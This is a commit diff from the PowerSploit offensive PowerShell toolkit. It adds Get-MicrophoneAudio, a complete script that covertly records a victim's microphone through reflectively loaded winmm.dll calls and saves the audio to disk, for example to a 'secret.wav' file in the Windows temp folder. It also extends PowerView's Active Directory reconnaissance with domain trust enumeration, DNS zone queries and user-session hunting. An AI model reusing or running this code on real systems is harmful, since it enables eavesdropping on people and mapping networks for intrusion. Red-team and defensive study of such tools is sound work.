aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Exfiltration/Exfiltration.psd13
-rwxr-xr-xExfiltration/Get-MicrophoneAudio.ps1187
-rw-r--r--README.md4
-rwxr-xr-xRecon/PowerView.ps1288
-rw-r--r--Tests/Exfiltration.tests.ps131
5 files changed, 479 insertions, 34 deletions
diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1
index da78493..7df0835 100644
--- a/Exfiltration/Exfiltration.psd1
+++ b/Exfiltration/Exfiltration.psd1
@@ -31,6 +31,7 @@ FunctionsToExport = '*'
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1',
'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1',
- 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml'
+ 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml',
+ 'Get-MicrophoneAudio.ps1'
}
diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1
new file mode 100755
index 0000000..41a16ba
--- /dev/null
+++ b/Exfiltration/Get-MicrophoneAudio.ps1
@@ -0,0 +1,187 @@
+function Get-MicrophoneAudio {
+<#
+.SYNOPSIS
+Records audio from the microphone and saves to a file on disk
+Author: Justin Warner (@sixdub)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+
+All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info:
+http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
+https://github.com/PowerShellMafia/PowerSploit
+
+Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/
+
+.DESCRIPTION
+Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk.
+
+.OUTPUTS
+Outputs the FileInfo object pointing to the recording which has been saved to disk.
+
+.PARAMETER Path
+The location to save the audio
+
+.PARAMETER Length
+The length of the audio to record in seconds. Default: 30
+
+.PARAMETER Alias
+The alias to use for the WinMM recording. Default: Random 10 Chars
+
+.EXAMPLE
+Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET"
+Description
+-----------
+Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret"
+#>
+ [OutputType([System.IO.FileInfo])]
+ Param
+ (
+ [Parameter( Position = 0, Mandatory = $True)]
+ [ValidateScript({Split-Path $_ | Test-Path})]
+ [String] $Path,
+ [Parameter( Position = 1, Mandatory = $False)]
+ [Int] $Length = 30,
+ [Parameter( Position = 2, Mandatory = $False)]
+ [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_}))
+
+ )
+
+ #Get-DelegateType from PowerSploit
+ function Local:Get-DelegateType
+ {
+ Param
+ (
+ [OutputType([Type])]
+
+ [Parameter( Position = 0)]
+ [Type[]]
+ $Parameters = (New-Object Type[](0)),
+
+ [Parameter( Position = 1 )]
+ [Type]
+ $ReturnType = [Void]
+ )
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
+ $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
+ $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
+ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
+ $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
+ $MethodBuilder.SetImplementationFlags('Runtime, Managed')
+
+ Write-Output $TypeBuilder.CreateType()
+ }
+
+ #Get-ProcAddress from PowerSploit
+ function local:Get-ProcAddress
+ {
+ Param
+ (
+ [OutputType([IntPtr])]
+
+ [Parameter( Position = 0, Mandatory = $True )]
+ [String]
+ $Module,
+
+ [Parameter( Position = 1, Mandatory = $True )]
+ [String]
+ $Procedure
+ )
+
+ # Get a reference to System.dll in the GAC
+ $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
+ Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
+ $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
+ # Get a reference to the GetModuleHandle and GetProcAddress methods
+ $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+ # Get a handle to the module specified
+ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
+ $tmpPtr = New-Object IntPtr
+ $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
+
+ # Return the address of the function
+ Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
+ }
+
+ #Initialize and call LoadLibrary on our required DLL
+ $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
+ $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
+ $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
+ $HND = $null
+ $HND = $LoadLibrary.Invoke('winmm.dll')
+ if ($HND -eq $null)
+ {
+ Throw 'Failed to aquire handle to winmm.dll'
+ }
+
+ #Initialize the function call to count devices
+ $waveInGetNumDevsAddr = $null
+ $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs
+ $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32])
+ if ($waveInGetNumDevsAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to WaveInGetNumDevs'
+ }
+ $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate)
+
+ #Initilize the function call to record audio
+ $mciSendStringAddr = $null
+ $mciSendStringAddr = Get-ProcAddress winmm.dll mciSendStringA
+ $mciSendStringDelegate = Get-DelegateType @([String],[String],[UInt32],[IntPtr]) ([Uint32])
+ if ($mciSendStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciSendStringA'
+ }
+ $mciSendString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciSendStringAddr, $mciSendStringDelegate)
+
+ #Initialize the ability to resolve MCI Errors
+ $mciGetErrorStringAddr = $null
+ $mciGetErrorStringAddr = Get-ProcAddress winmm.dll mciGetErrorStringA
+ $mciGetErrorStringDelegate = Get-DelegateType @([UInt32],[Text.StringBuilder],[UInt32]) ([bool])
+ if ($mciGetErrorStringAddr -eq $null)
+ {
+ Throw 'Failed to aquire address to mciGetErrorString'
+ }
+ $mciGetErrorString = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mciGetErrorStringAddr,$mciGetErrorStringDelegate)
+
+ #Get device count
+ $DeviceCount = $waveInGetNumDevs.Invoke()
+
+ if ($DeviceCount -gt 0)
+ {
+
+ #Define buffer for MCI errors. https://msdn.microsoft.com/en-us/library/windows/desktop/dd757153(v=vs.85).aspx
+ $errmsg = New-Object Text.StringBuilder 150
+
+ #Open an alias
+ $rtnVal = $mciSendString.Invoke("open new Type waveaudio Alias $alias",'',0,0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #Call recording function
+ $rtnVal = $mciSendString.Invoke("record $alias", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ Start-Sleep -s $Length
+
+ #save recorded audio to disk
+ $rtnVal = $mciSendString.Invoke("save $alias `"$path`"", '', 0, 0)
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ #terminate alias
+ $rtnVal = $mciSendString.Invoke("close $alias", '', 0, 0);
+ if ($rtnVal -ne 0) {$mciGetErrorString.Invoke($rtnVal,$errmsg,150); $msg=$errmsg.ToString();Throw "MCI Error ($rtnVal): $msg"}
+
+ $OutFile = Get-ChildItem -path $path
+ Write-Output $OutFile
+
+ }
+ else
+ {
+ Throw 'Failed to enumerate any recording devices'
+ }
+}
diff --git a/README.md b/README.md
index b818576..dfb1b3a 100644
--- a/README.md
+++ b/README.md
@@ -128,6 +128,10 @@ Displays Windows vault credential objects including cleartext web credentials.
Generates a full-memory minidump of a process.
+#### 'Get-MicrophoneAudio'
+
+Records audio from system microphone and saves to disk
+
## Mayhem
**Cause general mayhem with PowerShell.**
diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1
index cc588c3..c10cbed 100755
--- a/Recon/PowerView.ps1
+++ b/Recon/PowerView.ps1
@@ -1937,7 +1937,6 @@ filter Get-DNSZone {
$FullData
)
- # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
$DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
$DNSSearcher.filter="(objectClass=dnsZone)"
@@ -1958,6 +1957,27 @@ filter Get-DNSZone {
$Results.dispose()
$DNSSearcher.dispose()
}
+
+ $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
+ $DNSSearcher.filter="(objectClass=dnsZone)"
+
+ if($DNSSearcher) {
+ $Results = $DNSSearcher.FindAll()
+ $Results | Where-Object {$_} | ForEach-Object {
+ # convert/process the LDAP fields for each result
+ $Properties = Convert-LDAPProperty -Properties $_.Properties
+ $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
+
+ if ($FullData) {
+ $Properties
+ }
+ else {
+ $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
+ }
+ }
+ $Results.dispose()
+ $DNSSearcher.dispose()
+ }
}
@@ -2512,7 +2532,9 @@ function Get-NetUser {
$Results = $UserSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
# convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ $User = Convert-LDAPProperty -Properties $_.Properties
+ $User.PSObject.TypeNames.Add('PowerView.User')
+ $User
}
$Results.dispose()
$UserSearcher.dispose()
@@ -3937,7 +3959,9 @@ function Get-NetComputer {
# return full data objects
if ($FullData) {
# convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ $Computer = Convert-LDAPProperty -Properties $_.Properties
+ $Computer.PSObject.TypeNames.Add('PowerView.Computer')
+ $Computer
}
else {
# otherwise we're just returning the DNS host name
@@ -4648,7 +4672,9 @@ function Get-NetOU {
$Results | Where-Object {$_} | ForEach-Object {
if ($FullData) {
# convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ $OU = Convert-LDAPProperty -Properties $_.Properties
+ $OU.PSObject.TypeNames.Add('PowerView.OU')
+ $OU
}
else {
# otherwise just returning the ADS paths of the OUs
@@ -4764,7 +4790,9 @@ function Get-NetSite {
$Results | Where-Object {$_} | ForEach-Object {
if ($FullData) {
# convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ $Site = Convert-LDAPProperty -Properties $_.Properties
+ $Site.PSObject.TypeNames.Add('PowerView.Site')
+ $Site
}
else {
# otherwise just return the site name
@@ -4890,7 +4918,7 @@ function Get-NetSubnet {
$SubnetProperties['Site'] = 'Error'
}
- New-Object -TypeName PSObject -Property $SubnetProperties
+ New-Object -TypeName PSObject -Property $SubnetProperties
}
}
}
@@ -5086,7 +5114,9 @@ function Get-NetGroup {
# ignore the built in users and default domain user group
if(!($GroupSid -match '^S-1-5-32-545|-513$')) {
if($FullData) {
- Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
+ $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
+ $Group.PSObject.TypeNames.Add('PowerView.Group')
+ $Group
}
else {
if($RawSids) {
@@ -5112,7 +5142,9 @@ function Get-NetGroup {
# if we're returning full data objects
if ($FullData) {
# convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ $Group = Convert-LDAPProperty -Properties $_.Properties
+ $Group.PSObject.TypeNames.Add('PowerView.Group')
+ $Group
}
else {
# otherwise we're just returning the group name
@@ -5414,6 +5446,7 @@ function Get-NetGroupMember {
$GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid
$GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
$GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
+ $GroupMember.PSObject.TypeNames.Add('PowerView.GroupMember')
$GroupMember
# if we're doing manual recursion
@@ -6078,7 +6111,7 @@ function Get-GroupsXML {
# so we can cd/dir the new drive
$GroupsXMLPath = $RandDrive + ":\" + $FilePath
- }
+ }
}
process {
@@ -6093,21 +6126,21 @@ function Get-GroupsXML {
$MemberOf = @()
# extract the localgroup sid for memberof
- $LocalSid = $_.Properties.GroupSid
+ $LocalSid = $_.Group.Properties.GroupSid
if(!$LocalSid) {
- if($_.Properties.groupName -match 'Administrators') {
+ if($_.Group.Properties.groupName -match 'Administrators') {
$LocalSid = 'S-1-5-32-544'
}
- elseif($_.Properties.groupName -match 'Remote Desktop') {
+ elseif($_.Group.Properties.groupName -match 'Remote Desktop') {
$LocalSid = 'S-1-5-32-555'
}
else {
- $LocalSid = $_.Properties.groupName
+ $LocalSid = $_.Group.Properties.groupName
}
}
$MemberOf = @($LocalSid)
- $_.Properties.members | ForEach-Object {
+ $_.Group.Properties.members | ForEach-Object {
# process each member of the above local group
$_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
@@ -6130,16 +6163,38 @@ function Get-GroupsXML {
}
if($ResolveSids) {
- $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_}
- $Members = $Members | ForEach-Object {Convert-SidToName $_}
+ $Memberof = $Memberof | ForEach-Object {
+ $memof = $_
+ if ($memof.StartsWith("S-1-"))
+ {
+ try {
+ Convert-SidToName $memof
+ } catch {
+ $memof
+ }
+ } else {
+ $memof
+ }
+ }
+ $Members= $Members | ForEach-Object {
+ $member = $_
+ if ($member.StartsWith("S-1-"))
+ {
+ try {
+ Convert-SidToName $member
+ } catch {
+ $member
+ }
+ } else {
+ $member
+ }
+ }
}
if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)}
if($Members -isnot [system.array]) {$Members = @($Members)}
$GPOProperties = @{
- 'GPODisplayName' = $GPODisplayName
- 'GPOName' = $GPOName
'GPOPath' = $GroupsXMLPath
'Filters' = $Filters
'MemberOf' = $Memberof
@@ -7452,7 +7507,7 @@ function Get-NetLocalGroup {
[Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
[String[]]
- $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)",
+ $ComputerName = "$($env:COMPUTERNAME)",
[Parameter(ParameterSetName = 'WinNT')]
[Parameter(ParameterSetName = 'API')]
@@ -7529,6 +7584,9 @@ function Get-NetLocalGroup {
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+
$SidString = ""
$Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString)
Write-Debug "Result of ConvertSidToStringSid: $Result"
@@ -7536,7 +7594,7 @@ function Get-NetLocalGroup {
if($Result -eq 0) {
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
$Err = $Kernel32::GetLastError()
- Write-Error "ConvertSidToStringSid LastError: $Err"
+ Write-Error "ConvertSidToStringSid LastError: $Err"
}
else {
$LocalUser = New-Object PSObject
@@ -7546,9 +7604,8 @@ function Get-NetLocalGroup {
$IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
$LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
-
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
+ # add in our custom object
+ $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser')
$LocalUsers += $LocalUser
}
@@ -7601,6 +7658,7 @@ function Get-NetLocalGroup {
$Group | Add-Member Noteproperty 'Group' ($_.name[0])
$Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
$Group | Add-Member Noteproperty 'Description' ($_.Description[0])
+ $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
$Group
}
}
@@ -7690,6 +7748,7 @@ function Get-NetLocalGroup {
$Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
$Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
}
+ $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
$Member
# if the result is a group domain object and we're recursing,
@@ -7740,6 +7799,7 @@ function Get-NetLocalGroup {
$Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
$Member | Add-Member Noteproperty 'PwdExpired' ''
$Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
+ $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
$Member
}
}
@@ -9771,6 +9831,26 @@ function Invoke-UserHunter {
$FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
$FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
+ # Try to resolve the DNS hostname of $Cname
+ if ($Cname -match '[a-zA-Z]') {
+ Try {
+ $CNameDNSName = [System.Net.Dns]::GetHostByName($CName).Hostname
+ }
+ Catch {
+ $CNameDNSName = $Cname
+ }
+ $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
+ }
+ else {
+ Try {
+ $CNameDNSName = [System.Net.Dns]::Resolve($Cname).HostName
+ }
+ Catch {
+ $CNameDNSName = $Cname
+ }
+ $FoundUser | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
+ }
+
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName
@@ -9779,6 +9859,7 @@ function Invoke-UserHunter {
else {
$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
}
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
$FoundUser
}
}
@@ -9815,6 +9896,7 @@ function Invoke-UserHunter {
$FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
$FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
$FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
+ $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
@@ -9824,6 +9906,7 @@ function Invoke-UserHunter {
else {
$FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
}
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
$FoundUser
}
}
@@ -12394,6 +12477,10 @@ function Get-NetDomainTrust {
Domain controller to reflect LDAP queries through.
+ .PARAMETER API
+
+ Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts.
+
.PARAMETER LDAP
Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
@@ -12407,20 +12494,33 @@ function Get-NetDomainTrust {
PS C:\> Get-NetDomainTrust
- Return domain trusts for the current domain.
+ Return domain trusts for the current domain using built in .NET methods.
.EXAMPLE
PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local"
- Return domain trusts for the "prod.testlab.local" domain.
+ Return domain trusts for the "prod.testlab.local" domain using .NET methods
.EXAMPLE
- PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
+ PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local"
- Return domain trusts for the "prod.testlab.local" domain, reflecting
- queries through the "Primary.testlab.local" domain controller
+ Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP
+ queries, reflecting queries through the "Primary.testlab.local" domain controller,
+ using .NET methods.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local"
+
+ Return domain trusts for the "prod.testlab.local" domain enumerated through API calls.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local
+
+ Return domain trusts reachable from the WINDOWS2 machine through API calls.
#>
[CmdletBinding()]
@@ -12433,6 +12533,9 @@ function Get-NetDomainTrust {
$DomainController,
[Switch]
+ $API,
+
+ [Switch]
$LDAP,
[ValidateRange(1,10000)]
@@ -12445,13 +12548,14 @@ function Get-NetDomainTrust {
process {
- if(!$Domain) {
+ if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) {
$Domain = (Get-NetDomain -Credential $Credential).Name
}
- if($LDAP -or $DomainController) {
+ if($LDAP) {
$TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
+ $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController
if($TrustSearcher) {
@@ -12484,8 +12588,11 @@ function Get-NetDomainTrust {
3 { "Bidirectional" }
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
+ $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
$DomainTrust | Add-Member Noteproperty 'SourceName' $Domain
+ $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
+ $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID
$DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib"
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
@@ -12495,11 +12602,88 @@ function Get-NetDomainTrust {
$TrustSearcher.dispose()
}
}
+ elseif($API) {
+ if(-not $DomainController) {
+ $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name
+ }
+
+ if($DomainController) {
+ # arguments for DsEnumerateDomainTrusts
+ $PtrInfo = [IntPtr]::Zero
+
+ # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
+ $Flags = 63
+ $DomainCount = 0
+
+ # get the trust information from the target server
+ $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
+
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+ Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result"
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $DS_DOMAIN_TRUSTS::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $DomainCount); $i++) {
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
+
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+
+ $SidString = ""
+ $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString)
+
+ if($Result -eq 0) {
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
+ $Err = $Kernel32::GetLastError()
+ Write-Error "ConvertSidToStringSid LastError: $Err"
+ }
+ else {
+ $DomainTrust = New-Object PSObject
+ $DomainTrust | Add-Member Noteproperty 'SourceDomain' $Domain
+ $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController
+ $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName
+ $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName
+ $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
+ $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
+ $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
+ $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
+ $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString
+ $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid
+ $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust')
+ $DomainTrust
+ }
+ }
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else
+ {
+ switch ($Result) {
+ (50) { Write-Debug 'The request is not supported.' }
+ (1004) { Write-Debug 'Invalid flags.' }
+ (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' }
+ (1786) { Write-Debug 'The workstation does not have a trust secret.' }
+ (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' }
+ }
+ }
+ }
+ else {
+ Write-Error "Could not retrieve domain controller for $Domain"
+ }
+ }
else {
- # if we're using direct domain connections
+ # if we're using direct domain connections through .NET
$FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
-
if($FoundDomain) {
$FoundDomain.GetAllTrustRelationships()
}
@@ -12941,7 +13125,6 @@ function Invoke-MapDomainTrust {
[Management.Automation.PSCredential]
$Credential
-
)
# keep track of domains seen so we don't hit infinite recursion
@@ -12997,7 +13180,9 @@ function Invoke-MapDomainTrust {
# build the nicely-parsable custom output object
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
+ $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
$DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
+ $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
$DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
$DomainTrust
@@ -13030,6 +13215,7 @@ $FunctionDefinitions = @(
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
+ (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])),
@@ -13118,6 +13304,42 @@ $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
+# enums used in DS_DOMAIN_TRUSTS
+$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
+ IN_FOREST = 1
+ DIRECT_OUTBOUND = 2
+ TREE_ROOT = 4
+ PRIMARY = 8
+ NATIVE_MODE = 16
+ DIRECT_INBOUND = 32
+} -Bitfield
+$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
+ DOWNLEVEL = 1
+ UPLEVEL = 2
+ MIT = 3
+ DCE = 4
+}
+$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
+ NON_TRANSITIVE = 1
+ UPLEVEL_ONLY = 2
+ FILTER_SIDS = 4
+ FOREST_TRANSITIVE = 8
+ CROSS_ORGANIZATION = 16
+ WITHIN_FOREST = 32
+ TREAT_AS_EXTERNAL = 64
+}
+
+# the DsEnumerateDomainTrusts result structure
+$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
+ NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
+ DnsDomainName = field 1 String -MarshalAs @('LPWStr')
+ Flags = field 2 $DsDomainFlag
+ ParentIndex = field 3 UInt32
+ TrustType = field 4 $DsDomainTrustType
+ TrustAttributes = field 5 $DsDomainTrustAttributes
+ DomainSid = field 6 IntPtr
